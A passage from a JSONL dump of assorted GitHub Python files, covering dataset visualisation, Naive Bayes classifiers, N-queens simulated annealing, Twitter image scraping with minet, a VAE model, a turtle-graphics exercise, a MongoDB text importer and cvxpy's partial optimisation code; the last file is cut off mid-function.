getData('./data/FashionMNIST0.5.npz')\n# print('Fashion 0.5\\n---------------')\n# print('Training samples:\\n', pd.DataFrame(fashion5_str).value_counts())\n# print('Test samples:\\n', pd.DataFrame(fashion5_yts).value_counts())\n\nfashion6_xtr, fashion6_str, fashion6_xts, fashion6_yts = getData('./data/FashionMNIST0.6.npz')\n# print('Fashion 0.6\\n---------------')\n# print('Training samples:\\n', pd.DataFrame(fashion6_str).value_counts())\n# print('Test samples:\\n', pd.DataFrame(fashion6_yts).value_counts())\n\ndef plot_examples(title, data_set, data_noisy_labels, categories, examples, category_labels):\n fig = plt.figure(figsize=(examples, categories)) # Added a figure instance with a specified size\n count = 1\n for i in range(categories):\n categoryIndeces = np.where(data_noisy_labels == i)\n for j in range(examples):\n plt.subplot(categories, examples, count),\n plt.imshow(data_set[categoryIndeces[0][j]], cmap = 'binary')\n plt.title(category_labels[str(data_noisy_labels[categoryIndeces[0][j]])]), plt.xticks([]), plt.yticks([])\n count += 1\n \n fig.suptitle(title, fontsize=16)\n plt.tight_layout()\n plt.show()\n plt.close()\n\nplot_examples('CIFAR Training Data', cifar_xtr, cifar_str, len(CIFAR_CLASS_NAMES), EXAMPLES, CIFAR_CATEGORY_LABELS)\nplot_examples('CIFAR Test Data', cifar_xts, cifar_yts, len(CIFAR_CLASS_NAMES), EXAMPLES, CIFAR_CATEGORY_LABELS)\n\nplot_examples('Fashion 0.5 Training Data', fashion5_xtr, fashion5_str, len(FASHION_CLASS_NAMES), EXAMPLES, FASHION_CATEGORY_LABELS)\nplot_examples('Fashion 0.5 Test Data', fashion5_xts, fashion5_yts, len(FASHION_CLASS_NAMES), EXAMPLES, FASHION_CATEGORY_LABELS)\n\nplot_examples('Fashion 0.6 Training Data', fashion6_xtr, fashion6_str, len(FASHION_CLASS_NAMES), EXAMPLES, FASHION_CATEGORY_LABELS)\nplot_examples('Fashion 0.6 Test Data', fashion6_xts, fashion6_yts, len(FASHION_CLASS_NAMES), EXAMPLES, FASHION_CATEGORY_LABELS)\n","repo_name":"MattyJ007/COMP5328_noise_classifier","sub_path":"visualise.py","file_name":"visualise.py","file_ext":"py","file_size_in_byte":2645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15936367311","text":"\n\"\"\"Binary for showing C++ backward compatibility.\nThis loads a previously created SavedModel (esp. a model created by\nmultiplex_2_save.py which uses the \"old\" op and C++ kernel from multiplex_2)\nand runs the model using the \"new\" multiplex_4 C++ kernel.\nhttps://www.tensorflow.org/guide/saved_model\nhttps://www.tensorflow.org/api_docs/python/tf/saved_model/save\n\"\"\"\nfrom absl import app\nfrom tensorflow.examples.custom_ops_doc.multiplex_4 import model_using_multiplex\ndef main(argv):\n path = 'model_using_multiplex'\n result = model_using_multiplex.load_and_use(path)\n print('Result:', result)\nif __name__ == '__main__':\n app.run(main)\n","repo_name":"Mockingbird01001/NLG-code-generator-LSTM","sub_path":"work/data/data_model/batch_2/multiplex_4_load_use.py.transformed.py","file_name":"multiplex_4_load_use.py.transformed.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32460125576","text":"import pandas as pd\nimport numpy as np\nimport os\nimport utils_task1 as utl\nfrom sklearn.utils import shuffle\nimport naive_bayes as nb\nfrom matplotlib import pyplot as plt\nfrom Bayesian.data.贝叶斯模型编程.task2.NBC import score\nfrom sklearn.naive_bayes import MultinomialNB, GaussianNB, ComplementNB\nfrom sklearn.feature_extraction.text import TfidfTransformer\nimport jieba as jb\nimport os\n\n\ndef task1_load_all(path=''):\n file_list = os.listdir(path)\n emails_list = []\n for file_name in file_list:\n if file_name.endswith('.txt'):\n with open(path+file_name, 'r') as f:\n read_file = f.read()\n words_list = pd.Series(utl.text_parse(read_file))\n emails_list.append(words_list)\n return emails_list\n\n\ndef task1():\n mails_list = {'ham': task1_load_all('./data/贝叶斯模型编程/task1/ham/'),\n 'spam': task1_load_all('./data/贝叶斯模型编程/task1/spam/')}\n\n unique_words = utl.create_vocab_list(mails_list['ham'] + mails_list['spam'])\n\n design_mat = pd.DataFrame([], columns=unique_words + ['c'])\n\n name = 0\n for category in ('ham', 'spam'):\n for mail in mails_list[category]:\n counts = mail.value_counts(sort=False)\n counts = counts.rename(name)\n design_mat = design_mat.append(counts)\n design_mat.loc[name, 'c'] = category\n name += 1\n\n design_mat = design_mat.fillna(0)\n design_mat = shuffle(design_mat)\n len_of_fold = int(design_mat.shape[0] / 5)\n accuracies = []\n\n nb_classifier = nb.NaiveBayes(laplacian_correction=False, continuous_col=design_mat.columns[:-1])\n for i in range(5):\n test_set = design_mat.iloc[i * len_of_fold:(i + 1) * len_of_fold]\n train_set = design_mat.loc[design_mat.index.drop(test_set.index)]\n nb_classifier.fit(train_set.iloc[:, :-1], train_set.iloc[:, -1])\n y_est = nb_classifier.discriminate(test_set.iloc[:, :-1])\n print(f'Iteration {i}, misclassified:\\n', test_set.loc[y_est != test_set.iloc[:, -1]])\n accuracies.append(np.sum(y_est == test_set.iloc[:, -1]) / y_est.shape[0])\n\n print(f'avg. acc = {np.average(accuracies)}')\n plt.plot(accuracies)\n plt.title('accuracy')\n plt.xlabel('iteration')\n plt.ylabel('accuracy')\n plt.show()\n pass\n\n\n\ndef pre_process_task3(data):\n data = data[0].str.split(' ', expand=True)\n data_val = data.values\n for row in range(data_val.shape[0]):\n data_val[row, list(data_val[row,] == None)] = 0\n data_val = data_val.astype(np.int)\n data = pd.DataFrame(data_val)\n design_mat = pd.DataFrame(np.zeros((data.shape[0], 10000)), columns=list(range(1, 10001)))\n for row in data.index:\n design_mat.loc[row] = data.loc[row].value_counts(sort=False)\n return design_mat.fillna(0)\n\n\ndef task3():\n # prepare data\n # train_data = pd.read_csv('./data/贝叶斯模型编程/Task3/train/train_data.txt', header=None)\n # train_labels = pd.read_csv('./data/贝叶斯模型编程/Task3/train/train_labels.txt', sep=' ', header=None).iloc[:, 0]\n # test_data = pd.read_csv('./data/贝叶斯模型编程/Task3/test/test_data.txt', header=None)\n # train_design_mat = pre_process_task3(train_data)\n # train_design_mat['label'] = train_labels\n # test_design_mat = pre_process_task3(test_data)\n # train_design_mat.to_pickle('train_design_mat.pkl')\n # test_design_mat.to_pickle('test_design_mat.pkl')\n\n train_design_mat = pd.read_pickle('train_design_mat.pkl')\n test_design_mat = pd.read_pickle('test_design_mat.pkl')\n\n # acc = {'gaussian': [], 'complement': [], 'multi': []}\n train_len = int(0.8 * train_design_mat.shape[0])\n train_design_mat = shuffle(train_design_mat)\n\n # Use tfidf transform\n trans = TfidfTransformer(sublinear_tf=True)\n label = train_design_mat['label']\n train_design_mat_trans = trans.fit_transform(train_design_mat.iloc[:, :-1])\n train_design_mat_trans = pd.DataFrame(train_design_mat_trans.toarray(), index=train_design_mat.index,\n columns=train_design_mat.columns[:-1])\n train_design_mat_trans['label'] = label\n\n train_set = train_design_mat_trans.iloc[:train_len]\n test_set = train_design_mat_trans.iloc[train_len:]\n\n acc_afidf = []\n alpha_range = np.linspace(0, 1, 10)\n for alpha in alpha_range:\n classifier = MultinomialNB(alpha=alpha)\n classifier.fit(train_set.iloc[:, :-1], train_set.iloc[:, -1])\n acc_afidf.append(classifier.score(test_set.iloc[:, :-1], test_set.iloc[:, -1]))\n\n # without using tf_idf\n acc = []\n train_set = train_design_mat.iloc[:train_len]\n test_set = train_design_mat.iloc[train_len:]\n\n for alpha in alpha_range:\n classifier = MultinomialNB(alpha=alpha)\n classifier.fit(train_set.iloc[:, :-1], train_set.iloc[:, -1])\n acc.append(classifier.score(test_set.iloc[:, :-1], test_set.iloc[:, -1]))\n\n plt.plot(alpha_range, acc_afidf, marker='o', label='using tf-idf with sublinear tf')\n plt.plot(alpha_range, acc, marker='x', label='without using tf-idf')\n plt.title('accuracy vs smoothing parameter alpha')\n plt.legend()\n plt.xlabel('alpha')\n plt.ylabel('accuracy')\n plt.show()\n pass\n\n\ndef task3_predict():\n train_design_mat = pd.read_pickle('train_design_mat.pkl')\n test_design_mat = pd.read_pickle('test_design_mat.pkl')\n\n label = train_design_mat['label']\n\n len_train = train_design_mat.shape[0]\n\n trans = TfidfTransformer(sublinear_tf=True)\n all_data = train_design_mat.iloc[:, :-1].append(test_design_mat)\n all_data = trans.fit_transform(all_data)\n all_data = pd.DataFrame(all_data.toarray(), index=list(train_design_mat.index)+list(test_design_mat.index),\n columns=train_design_mat.columns[:-1])\n\n train_design_mat = all_data.iloc[:len_train]\n test_design_mat = all_data.iloc[len_train:]\n\n alpha_range = np.linspace(0, 1, 10)\n for i, alpha in zip(range(1, 10), alpha_range):\n classifier = MultinomialNB(alpha=alpha)\n classifier.fit(train_design_mat, label)\n result = classifier.predict(test_design_mat)\n np.savetxt(f'./畅嘉宇U201613382第4章贝叶斯网络/{i}.txt', result, fmt='%1.d')\n pass\n\n\nif __name__ == '__main__':\n task2_preprocess()\n","repo_name":"JyChang012/ML_Projects","sub_path":"Bayesian/models/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":6323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72071626293","text":"import time\r\nfrom random import random\r\nimport numpy as np\r\nfrom random import randint\r\n\r\nclass SimulatedAnnealing:\r\n def __init__(self, queens, n):\r\n self.queens = queens\r\n self.n = n\r\n self.printBoard(self.queens, n)\r\n start = time.time()\r\n self.anneal(n)\r\n end = time.time()\r\n\r\n self.printBoard(self.queens, n)\r\n print(\"Runtime\", end - start)\r\n\r\n def anneal(self, n):\r\n currentCost = self.cost(self.queens, n)\r\n while self.cost(self.queens, n) != 0:\r\n\r\n T = 1.0\r\n T_min = 0.0001\r\n alpha = 0.9\r\n\r\n while T>T_min:\r\n i=1\r\n if currentCost != 0 and T > T_min:\r\n print('working...')\r\n while (i <= 100):\r\n nextState = self.randomNeighbour(self.queens, n)\r\n nextCost = self.cost(nextState, n)\r\n a = np.exp(-(nextCost - currentCost)/T)\r\n\r\n if a > random():\r\n self.queens = nextState\r\n currentCost = nextCost\r\n if currentCost == 0:\r\n break\r\n i += 1\r\n\r\n if currentCost == 0:\r\n break\r\n T = T*alpha\r\n\r\n def randomNeighbour(self, queens, n):\r\n\r\n queensTemp = queens[:]\r\n\r\n i = randint(0, n-1)\r\n j = randint(0, n-1)\r\n\r\n queensTemp[i]=j\r\n # print(\"queensTemp: \",queensTemp)\r\n # queensCost = self.cost(queensTemp, n)\r\n # print(\"queensCost:\", queensCost)\r\n return queensTemp[:]\r\n\r\n def cost(self, queens, n):\r\n conflict = 0\r\n for i in range(n):\r\n for j in range(i + 1, n):\r\n if i != j:\r\n if queens[i] == queens[j]:\r\n conflict = conflict + 1\r\n if abs(queens[i] - queens[j]) == abs(i-j):\r\n conflict = conflict + 1\r\n return int(conflict)\r\n def printBoard(self ,queens, n):\r\n print(\"\\n\")\r\n for i in range(n):\r\n print(\"|\", end='\\t')\r\n for j in range(n):\r\n if queens[j] == i:\r\n print(\"x|\", end='\\t')\r\n else:\r\n print(\" |\", end='\\t')\r\n print(\"\\n\")\r\n currentCost = self.cost(self.queens, n)\r\n print('\\r', \"cost:\", currentCost, self.queens, end='\\n', flush=True)\r\n\r\nn = 8\r\nqueens = list((randint(0, n - 1) for x in range(n)))\r\nresult = SimulatedAnnealing(queens, n)\r\n","repo_name":"Kotenka/pract4","sub_path":"ferz_otjigaet.py","file_name":"ferz_otjigaet.py","file_ext":"py","file_size_in_byte":2588,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30731044687","text":"import os\nimport pandas as pd\nimport shutil\n\n\ndef extract_images_from_tweets(tweets: pd.DataFrame):\n\n \"\"\"\n This function extract images from information extracted from Twitter. It isolates the urls as a csv 'images_urls.csv'\n and then use minet library (documentation: https://github.com/medialab/minet) to extract the images and store then\n\n parameter:\n - tweets: pd.DataFrame twitter etract with following columns:\n - media_urls: link toward twitter images\n\n \"\"\"\n\n media = tweets[\"media_urls\"].str.split(\"|\")\n media = media.reset_index()\n media = media.explode(\"media_urls\")\n # drop nan values\n media = media[~media.media_urls.isna()]\n\n searchfor = [\"png\", \"jpg\"]\n images = media[media.media_urls.str.contains(\"|\".join(searchfor))]\n\n images.to_csv(\"images_urls.csv\")\n\n # Get images\n\n # Minet documentation:\n # media_urls is the column name of the urls\n # images_urls.csv the name of the file\n # Example\n # fetch_command = 'minet fetch media_urls {}images_urls.csv --filename id > {}report.csv'.format(destination_path, destination_path)\n\n # id the column_name of the id name\n print(\"Number of images: \", len(images))\n\n # Activate the bash script with the os command\n fetch_command = \"minet fetch media_urls images_urls.csv > report.csv\"\n os.system(fetch_command)\n\n\ndef extract_images_from_profile(tweets: pd.DataFrame, id_column: str = \"screen_name\"):\n \"\"\"\n This function extract profile images from information extracted from Twitter. It isolates the urls as a csv 'images_urls.csv'\n and then use minet library (documentation: https://github.com/medialab/minet) to extract the images and store then\n\n parameter:\n - tweets: pd.DataFrame twitter etract with following columns:\n - image: link toward twitter images\n - id: id od the corresponding tweet\n\n Return:\n - Create a pd.DataFrame urls file with all the pictures\n - Create a 'downloaded' directory with the pictures of individual. the name of the picture is the id_column\n\n \"\"\"\n\n if not os.path.exists(\"image\"):\n os.makedirs(\"image\")\n\n media = tweets[[\"image\", id_column]]\n media = media.reset_index(drop=True)\n\n searchfor = [\"png\", \"jpg\"]\n images = media[media[\"image\"].str.contains(\"|\".join(searchfor))]\n\n # Save as csv\n images.to_csv(\"image/images_urls.csv\", index=False)\n print(\"Number of images: \", len(images))\n\n # Get images using minet\n fetch_command = \"minet fetch image image/images_urls.csv --filename {} > image/report.csv\".format(\n id_column\n )\n os.system(fetch_command)\n # Move the repo to the image repo\n shutil.move(\"downloaded\", \"image\")\n\n\nif __name__ == \"__main__\":\n\n # Extract images from Twitter\n data = pd.read_csv(\"data/data_ready.csv\", index_col=[0])\n extract_images_from_profile(tweets=data, id_column=\"screen_name\")\n","repo_name":"medialab/graines","sub_path":"pipeline ML/_twitter_images_extraction.py","file_name":"_twitter_images_extraction.py","file_ext":"py","file_size_in_byte":2913,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"12656089934","text":"from PIL import Image\nfrom PIL import ImageDraw\nimport os\n\n#path = './mnist_training_images/'\npath = './mnist_testing_images/'\n#new_path = './84x28_training_images'\nnew_path = './84x28_testing_images'\n\nos.makedirs(new_path)\n\n#new_train_txt = open(\"new_train.txt\",\"w\")\nnew_test_txt = open(\"new_test.txt\",\"w\")\ndef create_image(image):\n size = (84, 28)\n canvas = Image.new(\"RGB\", size, (0,0,0))\n #draw_canvas = ImageDraw.Draw(canvas)\n #canvas.save('image1.jpeg')\n\n #Add imagei\n #original_image = Image.open('image1.jpeg')\n image_added = Image.open(image)\n #canvas = canvas.crop((0,0,28,28))\n canvas.paste(image_added, (0,0))\n canvas.save(image)\n\nfor i in range(0,10):\n #path = './mnist_training_images/'+str(i)+'/'\n path = './mnist_testing_images/' + str(i)+'/'\n label = str(i)\n label_folder = new_path+'/'+str(i)\n os.makedirs(label_folder)\n #print i\n for fn in os.listdir(path):\n #print fn\n size = (84, 28)\n canvas = Image.new(\"RGB\", size, (0,0,0))\n image_name = fn\n #print fn\n image_added = Image.open(path+'/'+fn)\n canvas.paste(image_added, (0,0))\n canvas.save(label_folder + '/' + image_name)\n #new_train_txt.write('84x28_training_images/'+label+'/'+image_name+' '+label+'\\n')\n new_test_txt.write('84x28_testing_images/'+label+'/'+image_name+' '+ label + '\\n')\n\n\n","repo_name":"thaophung/mnist_dataset","sub_path":"create_one_digit_image.py","file_name":"create_one_digit_image.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17315592356","text":"import tensorflow as tf\nimport numpy as np\nfrom tensorflow.keras.layers import Conv2D, Conv2DTranspose, Dense, Flatten, PReLU\nfrom tensorflow.keras.models import Model\nfrom utils.config import *\nfrom utils.util import *\n\n\n\nclass VAE_Encoder(Model):\n def __init__(self, latent_num):\n super(VAE_Encoder, self).__init__()\n self.latent_num = latent_num\n self.conv_layers = [ # (32, 32, 3)\n Conv2D(filters=32, kernel_size=(4,4), strides=(2,2), activation='relu'), # (16, 16, 32)\n Conv2D(filters=64, kernel_size=(4,4), strides=(2,2), activation='relu'), # (6, 6, 64)\n Conv2D(filters=128, kernel_size=(3,3), activation='relu'), # (4, 4, 128)\n Conv2D(filters=256, kernel_size=(3,3), activation='relu'), # (2, 2, 256)\n ]\n self.flatten = Flatten()\n self.mean_out = Dense(latent_num, name='mean')\n # self.std_out = Dense(latent_num, activation='sigmoid', name='std')\n\n def __call__(self, x):\n #returns out, mean, std\n m, s = self.encode(x)\n # if sampling:\n # noise = np.random.normal(size=self.latent_num)\n # z = m + s * noise\n # else:\n z = m\n return z, m, s\n \n def forward(self, x):\n m, _ = self.encode(x)\n return m\n\n def encode(self, x):\n for layer in self.conv_layers:\n x = layer(x)\n x = self.flatten(x)\n m = self.mean_out(x)\n # s = self.std_out(x)\n return m, None\n\n def set_weights_by_list(self, l):\n for i, layer in enumerate(self.conv_layers):\n layer.set_weights(l[i])\n self.mean_out.set_weights(l[-2])\n self.std_out.set_weights(l[-1])\n\n def save(self, dir, name):\n self.save_weights(dir + name + '.h5')\n\n\nclass VAE_Network(Model):\n def __init__(self):\n super(VAE_Network, self).__init__()\n self.encoder = VAE_Encoder(latent_num=VAE_CNN_LATENT)\n self.process_out = Dense(VAE_HIDDEN_SIZE)\n self.prelu = PReLU() # (1, 1, 1024)\n self.deconv_layers = [\n Conv2DTranspose(filters=128, kernel_size=(4,4), activation='relu'), # (4, 4, 128)\n Conv2DTranspose(filters=64, kernel_size=(4,4), strides=(1,1), activation='relu'), # (7, 7, 64) \n Conv2DTranspose(filters=32, kernel_size=(3,3), strides=(2,2), activation='relu'), # (15, 15, 32)\n Conv2DTranspose(filters=3, kernel_size=(4,4), strides=(2,2), activation='sigmoid'), # (32, 32, 3)\n ]\n self.opt = tf.optimizers.Adam(learning_rate=VAE_LR)\n\n def __call__(self, x, sampling=True):\n #returns out, mean, std\n x, m, s = self.encoder(x, sampling)\n x = self.prelu(self.process_out(x))\n x = tf.reshape(x, [-1, 1, 1, VAE_HIDDEN_SIZE])\n for layer in self.deconv_layers:\n x = layer(x)\n return x, m, s\n\n def update(self, data):\n #data should have size of (batch_size, 64, 64, 4)\n with tf.GradientTape() as tape:\n out, m, s = self.__call__(data)\n reconstruction_loss = tf.reduce_mean(tf.sqrt(tf.abs(data-out)+1e-16)) #tf.sqrt(tf.sqrt((data - out)**2)))\n regularization = tf.reduce_mean(tf_gaussian_KL(m, 0, s, 1))\n loss = reconstruction_loss + VAE_BETA*regularization\n gradients = tape.gradient(loss, self.trainable_variables)\n gradients, _ = tf.clip_by_global_norm(gradients, 5.0)\n self.opt.apply_gradients(zip(gradients, self.trainable_variables))\n return loss.numpy()\n\n def get_encoder_weights(self):\n weights = []\n for layer in self.conv_layers:\n weights.append(layer.get_weights())\n weights.append(self.mean_out.get_weights())\n weights.append(self.std_out.get_weights())\n return weights\n\n def save(self, dir, name):\n self.save_weights(dir + name + '.h5')\n\n def load(self, dir, name):\n self.load_weights(dir + name + '.h5')\n print('successfully loaded vae weight')\n\n\n\n\nif __name__ == '__main__':\n dummy = np.zeros(shape=(1,84,84,4))\n vae = VAE_Network()\n encoder = VAE_Encoder()\n encoder(dummy, True)\n vae(dummy)\n vae.load('vae')\n weights = vae.get_encoder_weights()\n encoder.set_weights_by_list(weights)\n encoder.save('vae_encoder')\n\n\n\n\n","repo_name":"sunghoonhong/VI-GAIL","sub_path":"models/VAE_Network.py","file_name":"VAE_Network.py","file_ext":"py","file_size_in_byte":4347,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"70866105973","text":"from unittest import result\n\n\ndef list_check(lst):\n \"\"\"Are all items in lst a list?\n\n >>> list_check([[1], [2, 3]])\n True\n\n >>> list_check([[1], \"nope\"])\n False\n \"\"\"\n result = True\n for value in lst:\n if not isinstance(value, list):\n result = False\n\n return result","repo_name":"brianelizondo/python-data-structures","sub_path":"23_list_check/list_check.py","file_name":"list_check.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5903942545","text":"# ===================== Turkey Trot ============================\nimport turtle\nfrom Turkey import Turkey\nfrom PIL import Image, ImageDraw\n\n\ndef set_background(filename):\n try:\n image = Image.open(filename)\n except FileNotFoundError:\n print(\"ERROR: Unable to find file \" + filename)\n return\n\n window.setup(image.width, image.height, startx=0, starty=0)\n window.bgpic(filename)\n\n\ndef draw_lane_markers(num_turkeys):\n lane_maker = turtle.Turtle()\n lane_maker.hideturtle()\n lane_maker.shape(None)\n lane_maker.penup()\n lane_maker.speed(0)\n lane_maker.fillcolor('black')\n\n for i in range(num_turkeys):\n start_height = -(HEIGHT / 2)\n height = start_height + (i * (HEIGHT / num_turkeys))\n lane_maker.goto(-(WIDTH / 2), height)\n lane_maker.setheading(0)\n lane_maker.begin_fill()\n for k in range(2):\n lane_maker.forward(WIDTH)\n lane_maker.left(90)\n lane_maker.forward(10)\n lane_maker.left(90)\n lane_maker.end_fill()\n\n\n# ===================== DO NOT EDIT THE CODE ABOVE ============================\n\n\nif __name__ == '__main__':\n race_in_progress = True\n WIDTH = 1150\n HEIGHT = 600\n\n # 1. Set the window variable to turtle.Screen()\n window = None\n\n # 2. Call the window's setup() method with the WIDTH and HEIGHT variables\n\n # 3. Call the set_background() method with 'grass.png'\n\n # 4. Run your code. You should see a window with an image of grass\n\n # 5. Set the Turkey.window variable to the window variable created in step 1\n # Turkey.window = window\n\n # 6. Create and set a variable to hold the number of Turkeys you want\n # in the race from 2 to 7 (7 is recommended)\n\n # 7. Call the draw_lane_markers function and pass in the number of turkeys\n\n # 8. Create and set a variable to hold the width of each lane\n # *HINT* the lane width is the HEIGHT of the window divided by the number of\n # turkeys in the race\n\n # 9. Create a variable called start_x and set it to -(WIDTH / 2)\n\n # 10. Create a variable called start_y and set it to (HEIGHT / 2)\n\n # 11. Create your turkey competitors!\n # gobbler = Turkey(start_x, start_y - (1 * lane_width))\n #\n # *HINT* the (1 * lane_width) part will be different for each turkey\n\n while race_in_progress:\n pass\n\n # 12. Call the trot() method for each one of your turkeys!\n\n # 13. For each turkey, use an 'if' statement and call your turkey's\n # check_finish() method\n # if gobbler.check_finish():\n\n # 14. If the turkey finished, call that turkey's winner() method,\n # gobbler.winner()\n\n # 15. set the race_in_progress variable to True\n\n# ===================== DO NOT EDIT THE CODE BELOW ============================\n\n turtle.done()\n","repo_name":"League-central/python-modules","sub_path":"HolidaySpecial/TurkeyTrotPython/turkey_trot.py","file_name":"turkey_trot.py","file_ext":"py","file_size_in_byte":2854,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"6116161849","text":"# coding=utf-8\n__author__ = 'Steven'\n\nimport os\nimport os.path\nimport re\nimport common\nimport mongodb\nimport hashlib\nimport datetime\n\nimport config\n\njingjixueren_model = mongodb.JingjixuerenModel()\n\n\ndef traverse_walk(path):\n for root, dirs, files in os.walk(path):\n for file in files:\n f_abspath = os.path.abspath(os.path.join(root, file))\n if os.path.getsize(f_abspath) > 90000 and re.search(\"\\?\", f_abspath) is None:\n handle_file(f_abspath)\n\n\ndef handle_file(file_path):\n print(file_path)\n article = {}\n file_object = open(file_path, \"r\", encoding=\"utf-8\")\n try:\n file_content = str(file_object.read())\n file_content = re.sub(\"\\n\", '', file_content)\n\n article['file_id'] = hashlib.md5(\n datetime.datetime.now().strftime('%b-%d-%y %H:%M:%S').encode(encoding=\"utf-8\") + file_path.encode(\n \"utf-8\")).hexdigest()\n\n article_content = common.str_split(config.Jingjixueren.split_tag['content'][0],\n config.Jingjixueren.split_tag['content'][1],\n file_content)\n\n article['path'] = file_path # 文件本地存储路径\n\n for key in config.Jingjixueren.split_tag:\n if key is \"from\":\n article['from'] = re.sub(config.Jingjixueren.split_tag[key][0], config.Jingjixueren.split_tag[key][1],\n file_path) # 文章来源\n if key is not \"content\" and key is not \"from\":\n article[key] = common.str_split(config.Jingjixueren.split_tag[key][0],\n config.Jingjixueren.split_tag[key][1],\n article_content) # 分类\n article['time'] = article['time'][0:10] # 时间截取\n\n # 去除正文中某些脏节点\n for key in config.Jingjixueren.sub_body_tag:\n article['body'] = re.sub(key, config.Jingjixueren.sub_body_tag[key], article['body'])\n\n if len(article['body']) > 1000:\n jingjixueren_model.insert_mongodb(article)\n finally:\n file_object.close()\n\n\ntraverse_walk(config.Jingjixueren.root_path)\n","repo_name":"nginer/WenbenSys","sub_path":"command/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"73029440053","text":"import cvxpy.settings as s\nimport cvxpy.utilities as u\nfrom cvxpy.problems.objective import Minimize, Maximize\nfrom cvxpy.problems.problem import Problem\nfrom cvxpy.expressions.variables import Variable\nfrom cvxpy.expressions.expression import Expression\nfrom cvxpy.atoms import trace\nimport copy\n\n\ndef partial_optimize(prob, opt_vars=None, dont_opt_vars=None):\n \"\"\"Partially optimizes the given problem over the specified variables.\n\n Either opt_vars or dont_opt_vars must be given.\n If both are given, they must contain all the variables in the problem.\n\n Parameters\n ----------\n prob : Problem\n The problem to partially optimize.\n opt_vars : list, optional\n The variables to optimize over.\n dont_opt_vars : list, optional\n The variables to not optimize over.\n\n Returns\n -------\n Expression\n An expression representing the partial optimization.\n \"\"\"\n # One of the two arguments must be specified.\n if opt_vars is None and dont_opt_vars is None:\n raise ValueError(\n \"partial_optimize called with neither opt_vars nor dont_opt_vars.\"\n )\n # If opt_vars is not specified, it's the complement of dont_opt_vars.\n elif opt_vars is None:\n ids = [id(var) for var in dont_opt_vars]\n opt_vars = [var for var in prob.variables() if not id(var) in ids]\n # If dont_opt_vars is not specified, it's the complement of opt_vars.\n elif dont_opt_vars is None:\n ids = [id(var) for var in opt_vars]\n dont_opt_vars = [var for var in prob.variables() if not id(var) in ids]\n elif opt_vars is not None and dont_opt_vars is not None:\n ids = [id(var) for var in opt_vars + dont_opt_vars]\n for var in prob.variables():\n if id(var) not in ids:\n raise ValueError(\n (\"If opt_vars and new_opt_vars are both specified, \"\n \"they must contain all variables in the problem.\")\n )\n\n return PartialProblem(prob, opt_vars, dont_opt_vars)\n\n\nclass PartialProblem(Expression):\n \"\"\"A partial optimization problem.\n\n Attributes\n ----------\n opt_vars : list\n The variables to optimize over.\n dont_opt_vars : list\n The variables to not optimize over.\n \"\"\"\n\n def __init__(self, prob, opt_vars, dont_opt_vars):\n self.opt_vars = opt_vars\n self.dont_opt_vars = dont_opt_vars\n self.args = [prob]\n # Replace the opt_vars in prob with new variables.\n id_to_new_var = {var.id: var.copy() for var in self.opt_vars}\n new_obj = self._replace_new_vars(prob.objective, id_to_new_var)\n new_constrs = [self._replace_new_vars(con, id_to_new_var)\n for con in prob.constraints]\n self._prob = Problem(new_obj, new_constrs)\n super(PartialProblem, self).__init__()\n\n def get_data(self):\n \"\"\"Returns info needed to reconstruct the expression besides the args.\n \"\"\"\n return [self.opt_vars, self.dont_opt_vars]\n\n def is_convex(self):\n \"\"\"Is the expression convex?\n \"\"\"\n return self.args[0].is_dcp() and \\\n type(self.args[0].objective) == Minimize\n\n def is_concave(self):\n \"\"\"Is the expression concave?\n \"\"\"\n return self.args[0].is_dcp() and \\\n type(self.args[0].objective) == Maximize\n\n def is_positive(self):\n \"\"\"Is the expression positive?\n \"\"\"\n return self.args[0].objective.args[0].is_positive()\n\n def is_negative(self):\n \"\"\"Is the expression negative?\n \"\"\"\n return self.args[0].objective.args[0].is_negative()\n\n @property\n def size(self):\n \"\"\"Returns the (row, col) dimensions of the expression.\n \"\"\"\n return (1, 1)\n\n def name(self):\n \"\"\"Returns the string representation of the expression.\n \"\"\"\n return \"PartialProblem(%s)\" % str(self.args[0])\n\n def variables(self):\n \"\"\"Returns the variables in the problem.\n \"\"\"\n return copy.copy(self.dont_opt_vars)\n\n def parameters(self):\n \"\"\"Returns the parameters in the problem.\n \"\"\"\n return self.args[0].parameters()\n\n def constants(self):\n \"\"\"Returns the constants in the problem.\n \"\"\"\n return self.args[0].constants()\n\n @property\n def grad(self):\n \"\"\"Gives the (sub/super)gradient of the expression w.r.t. each variable.\n\n Matrix expressions are vectorized, so the gradient is a matrix.\n None indicates variable values unknown or outside domain.\n\n Returns:\n A map of variable to SciPy CSC sparse matrix or None.\n \"\"\"\n # Subgrad of g(y) = min f_0(x,y)\n # s.t. f_i(x,y) <= 0, i = 1,..,p\n # h_i(x,y) == 0, i = 1,...,q\n # Given by Df_0(x^*,y) + \\sum_i Df_i(x^*,y) \\lambda^*_i\n # + \\sum_i Dh_i(x^*,y) \\nu^*_i\n # where x^*, \\lambda^*_i, \\nu^*_i are optimal primal/dual variables.\n # Add PSD constraints in same way.\n\n # Short circuit for constant.\n if self.is_constant():\n return u.grad.constant_grad(self)\n\n old_vals = {var.id: var.value for var in self.variables()}\n fix_vars = []\n for var in self.variables():\n if var.value is None:\n return u.grad.error_grad(self)\n else:\n fix_vars += [var == var.value]\n prob = Problem(self._prob.objective,\n fix_vars + self._prob.constraints)\n prob.solve()\n # Compute gradient.\n if prob.status in s.SOLUTION_PRESENT:\n sign = self.is_convex() - self.is_concave()\n # Form Lagrangian.\n lagr = self._prob.objective.args[0]\n for constr in 